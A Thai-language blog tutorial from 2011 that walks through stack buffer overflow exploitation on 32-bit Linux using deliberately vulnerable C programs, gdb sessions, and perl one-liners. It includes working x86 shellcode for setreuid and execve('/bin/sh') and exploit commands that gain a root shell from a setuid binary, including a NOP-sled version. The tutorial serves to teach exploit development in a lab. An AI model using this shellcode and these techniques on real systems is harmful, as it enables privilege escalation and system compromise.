Monday, January 3, 2011

Buffer Overflow ให้โปรแกรม spawn shell

จากตัวอย่างในหัวข้อ "GDB เบื้องต้น" จะเห็นว่าถ้าเราใส่ input เข้าไปยาวๆ จะมีการเขียนทับ saved eip ด้วย หลังจากคำสั่ง strcpy ตามรูปข้างล่าง (เลขทั้งหมดเป็นฐาน 16 นะครับ) ทำให้หลังจากจบ function main แล้ว EIP ของโปรแกรมชี้ไปที่ 0x55555555 แสดงให้เห็นว่าเราสามารถสั่งให้โปรแกรมไปทำงานที่ไหนก็ได้ และก่อนจะเริ่มผมขอย้ำอีกครั้งว่าให้ทำตาม อย่าเอาแต่อ่าน เรื่องพวกนี้จะให้เก่งต้องทำนะครับ

Note: ค่า address ที่ผมแสดง เป็น address ที่อยู่ในเครื่องของผม ซึ่งอาจจะไม่ตรงกับเครื่องอื่นๆ ดังนั้น ถ้าเห็นว่าไม่ตรง ก็ต้องแก้ไขการใส่ค่า address ต่างๆ ด้วย

เรามาดูตัวอย่างแรกกัน (ex_06_1.c) วิธี compile อยู่ที่หัวของไฟล์ (ตั้งแต่นี้ไป ดูวิธี compile เอาเองที่หัวของไฟล์นะครับ)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_06_1 ex_06_1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int hidden_fn()
{
  printf("You WIN\n");
  exit(0);
}

int main(int argc, char **argv)
{
  char buf[8];

  printf("Address of hidden_fn: %p\n", hidden_fn);
  strcpy(buf, argv[1]);

  return 0;
}

เป้าหมายของตัวอย่างนี้ ชัดเจนนะครับ คือให้เรียก hidden_fn() ให้ได้ เรามาลอง gdb กันก่อน

$ gdb -q ./ex_06_1
Reading symbols from /home/worawit/tutz/ch06/ex_06_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048482 <+0>:     push   %ebp
   0x08048483 <+1>:     mov    %esp,%ebp
   0x08048485 <+3>:     sub    $0x10,%esp
   0x08048488 <+6>:     mov    $0x8048588,%eax
   0x0804848d <+11>:    movl   $0x8048464,0x4(%esp)
   0x08048495 <+19>:    mov    %eax,(%esp)
   0x08048498 <+22>:    call   0x8048378 
   0x0804849d <+27>:    mov    0xc(%ebp),%eax
   0x080484a0 <+30>:    add    $0x4,%eax
   0x080484a3 <+33>:    mov    (%eax),%eax
   0x080484a5 <+35>:    mov    %eax,0x4(%esp)
   0x080484a9 <+39>:    lea    -0x8(%ebp),%eax   # โหลด address ของ buf ที่ address ebp-8
   0x080484ac <+42>:    mov    %eax,(%esp)
   0x080484af <+45>:    call   0x8048368 
   0x080484b4 <+50>:    mov    $0x0,%eax
   0x080484b9 <+55>:    leave
   0x080484ba <+56>:    ret
End of assembler dump.
(gdb) b *0x080484af    # set breakpoint ก่อนเรียก strcpy
Breakpoint 1 at 0x80484af
(gdb) r UUUUUUUU
Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUU
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) i f
Stack level 0, frame at 0xbffff710:
 eip = 0x80484af in main; saved eip 0x154bd6
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c     # จำ address ของ saved eip ไว้
(gdb) x/8x $ebp-8      # ดูค่าตั้งแต่ address ของ buf
0xbffff700:     0x080484d0      0x00000000      0xbffff788      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) ni
0x080484b4 in main ()
(gdb) x/8x $ebp-8      # จะเห็นว่าถ้าจะเขียนทับ eip ต้องใส่ input ไปทั้งหมด 16 bytes
0xbffff700:     0x55555555      0x55555555      0xbffff700      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) r UUUUUUUUUUUUABCD     # ลองดู
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUUUUUUABCD
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r eip    # จะเห็นค่า eip เปลี่ยนเป็น 0x44434241 คือ DCBA เพราะเรื่องของ endian
eip            0x44434241       0x44434241
(gdb) q
A debugging session is active.

        Inferior 1 [process 1413] will be killed.

Quit anyway? (y or n) y

จะเห็นว่าถ้าต้องการเปลี่ยนค่า saved eip ต้องใส่ข้อมูลอย่างน้อย 16 bytes โดยข้อมูล byte ที่ 12 ถึง 16 จะเป็น saved eip ที่เราต้องการจะเป็น

จาก output ของโปรแกรม address ของ hidden_fn คือ 0x8048464 แต่ตัวอักษรของค่าพวกนี้ เราพิมพ์ไม่ได้ ดังนั้นผมจะใช้ perl มาช่วย โดยจะได้คำสั่งตามนี้

$ ./ex_06_1 `perl -e 'print "U"x12 . "\x64\x84\x04\x08"'`
Address of hidden_fn: 0x8048464
You WIN

เย่ ทำได้แล้ว ให้สังเกตเรื่อง endian ด้วยนะครับ ว่าผมใส่ \x64 เป็นตัวแรก และ \x08 เป็นตัวสุดท้าย

ตัวอย่างข้างบน เราได้ทำให้โปรแกรมรัน function ที่ซ่อนไว้อยู่ แต่โดยปกตินั้น เราต้องมีการแทรก code ที่ทำงานตามที่เราต้องการ (เรียกว่า shellcode) แล้วเรียก shellcode ของเรา โดยการควบคุมค่า eip

แต่คราวนี้ผมขอเปลี่ยนขนาดของ buf เป็น 256 bytes (ex_06_2.c) (ไม่แสดง code นะครับ จะได้ไม่ยาวเกิน) และให้ 2 shellcode ต่อไปนี้ (จะมีคำอธิบายพร้อมทั้งทำให้เล็กลงในหัวข้อการเขียน Linux Shellcode)

# setreuid(0, 0)  10 bytes
\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80
# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 24 bytes (เอามาจากไหนไม่รู้ จำไม่ได้แล้ว)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80

หลังจาก compile อย่าลืมคำสั่งต่อไปนี้นะครับ

$ sudo su -c "chown root: ex_06_2;chmod 4755 ex_06_2"

ก่อนจะเริ่มทำ ลองคิดตามผมดูว่า ครั้งนี้เราต้องทำการแทรก shellcode (inject shellcode) แล้วเปลี่ยนค่า eip ไปที่ shellcode ของเรา แล้วเราจะ inject shellcode ไปที่ไหนดี

ที่เห็นชัดเจนที่สุดก็คือที่ buf ในโปรแกรมนั้นแหละ (จริงๆ แล้วที่ไหนก็ได้ใน memory) แล้ว buf มัน address อะไรละ อย่างงี้เราต้องมา gdb หากัน ลุย

$ gdb -q ./ex_06_2
Reading symbols from /home/worawit/tutz/ch06/ex_06_2...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ จะได้ไม่ยาว
   0x080483d9 <+21>:    lea    -0x100(%ebp),%eax   # buf อยู่ที่ ebp+100
   0x080483df <+27>:    mov    %eax,(%esp)
   0x080483e2 <+30>:    call   0x80482fc 
... # ขอละ จะได้ไม่ยาว
(gdb) b *0x080483e2
Breakpoint 1 at 0x80483e2
(gdb) r AAAA
Starting program: /home/worawit/tutz/ch06/ex_06_2 AAAA

Breakpoint 1, 0x080483e2 in main ()
(gdb) x/x $ebp-0x100
0xbffff608:     0x00000006    # ได้ address ของ buf มาแล้ว 0xbffff608
(gdb) q
... # ขอละ จะได้ไม่ยาว

เราได้ข้อมูลทุกอย่างแล้ว buf ที่ address 0xbffff608 และ saved eip อยู่ห่างจาก buf 256+4=260 bytes (4 bytes คือ saved ebp) และ shellcode เราก็มีแล้ว แค่เอามาต่อกัน (ใน bash ต้องมีการเรียก setreuid ก่อน execve เพราะ bash จะ set ค่า euid เป็น uid ก่อนทำ execve) ตามนี้

# setreuid 10 bytes + execve 24 bytes + junk (260-10-24=226)
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault

เอะ ทำไม??? เกิดอะไรขึ้น เรามาลองเอา suid bit ออกไปก่อน แล้วมาลองให้มี core dump ดูดีกว่า แล้วใช้ gdb ดู

$ sudo chmod 755 ex_06_2     # ถ้ามี suid bit อยู่จะไม่มี core dump
$ ulimit -c unlimited        # enable core dump เฉพาะ terminal นี้
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault (core dumped)
$ gdb -q -c core
[New Thread 1852]
Core was generated by `./ex_06_2 1▒1▒1ɰF̀1▒Phn/shh//bi▒▒RS▒▒                                                           ̀UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU`.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) x/4x 0xbffff608    # ทำไม address นี้เป็นขยะไปละ แล้ว shellcode เราอยู่ไหน
0xbffff608:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/8x 0xbffff608-208  # เจอแล้วที่ address 0xbffff538
0xbffff538:     0xdb31c031      0x46b0c931      0xc03180cd      0x2f6e6850
0xbffff548:     0x2f686873      0x8969622f      0x535299e3      0x0bb0e189
(gdb) q

เกิดอะไรขึ้น ทำไม buf กลายเป็นอยู่ที่ address 0xbffff538 ขอตอบสั้นๆ เพราะ argv และ env ที่ run ด้วย gdb กับจาก shell ตรงๆ มันไม่เหมือนกัน ทำให้ address ของตัวแปรต่างๆ ใน stack ถูกเปลี่ยน งั้นเราลองอีกทีด้วย address ใหม่

$ sudo chmod 4755 ex_06_2
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x38\xf5\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว กลายเป็น root แล้ว :) แต่เห็นปัญหามั้ยครับ ว่าเราต้องใส่ address ของ buf ให้มันตรงเป๊ะ อย่างงี้เปลี่ยนเครื่อง exploit เราก็อาจจะทำงานผิดพลาด

ยังจำ NOP (0x90) ในหัวข้อ assembly ได้มั้ยครับ การใส่ NOP เป็นวิธีหนึ่งที่ทำให้ exploit มี reliable มากขึ้น โดยแทนที่จะให้มีขยะต่อท้าย shellcode เราจะใส่ NOP sled ไว้ก่อน shellcode ดังนั้นค่า saved eip ที่เราเปลี่ยน ขอแค่ชี้ไปที่ address ไหนก็ได้ใน NOP sled โปรแกรมก็จะ run shellcode ของเรา (ในกรณีนี้ เราต้องมีขยะต่อท้ายอย่างน้อย 16 bytes เพื่อเว้นที่ให้ shellcode ของเราเก็บค่าต่างๆ แต่ผมเว้นไว้ 20 bytes) ตามรูปข้างล่าง

$ ./ex_06_2 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x20 . "\x08\xf6\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

จะเห็นว่า ครั้งนี้ผมใช้ address เดิมที่หาได้จาก gdb ครั้งแรก ก็ยังทำงานได้ เย่ๆ ทำได้แล้ว (อย่างน้อยก็แบบที่ง่ายที่สุด)

ก่อนจะไปหัวข้อถัดไป ผมขอให้ลองเปลี่ยน address ที่จะเขียนทับ saved eip ลองดูว่า exploit ที่มี NOP ยังทำงานได้ปกติกับหลายๆ address และให้ลองเอา shellcode setreuid ออก แล้วดูความแตกต่างระหว่างมีกับไม่มี (แก้แล้ว ต้องแก้จำนวน nop หรือ ขยะด้วยนะครับ)

4 comments:

  1. ช่วยด้วยครับขอผมมันขึ้นแบบนี้หลังจาก
    $ gbd -q -c core
    ....
    (gdb) x/4x 0xbf8594f8 # or x/4x $ebp
    0xbf8594f8: Cannot access memory at address 0xbf8594f8
    (gdb)

    ReplyDelete
    Replies
    1. กลับไปอ่าน http://thtutz.blogspot.com/2011/01/ubuntu-exploit-linux.html นะครับ

      Delete
  2. วิธีเพิ่ม exploit ใน Backtrack5 r3 ทำยังไงครับ

    ReplyDelete
  3. ชอบมากเลยครับ ไม่เเน่ใจว่าพี่รู้จักหนังสือชื่อ writing security tools and exploits เขาเขียนคล้ายพี่มากครับ เวลาผมอ่านงงๆ ผมก็มาเชื่อกับของพี่นี่เเหละครับ ขอบคุณมากครับ

    ReplyDelete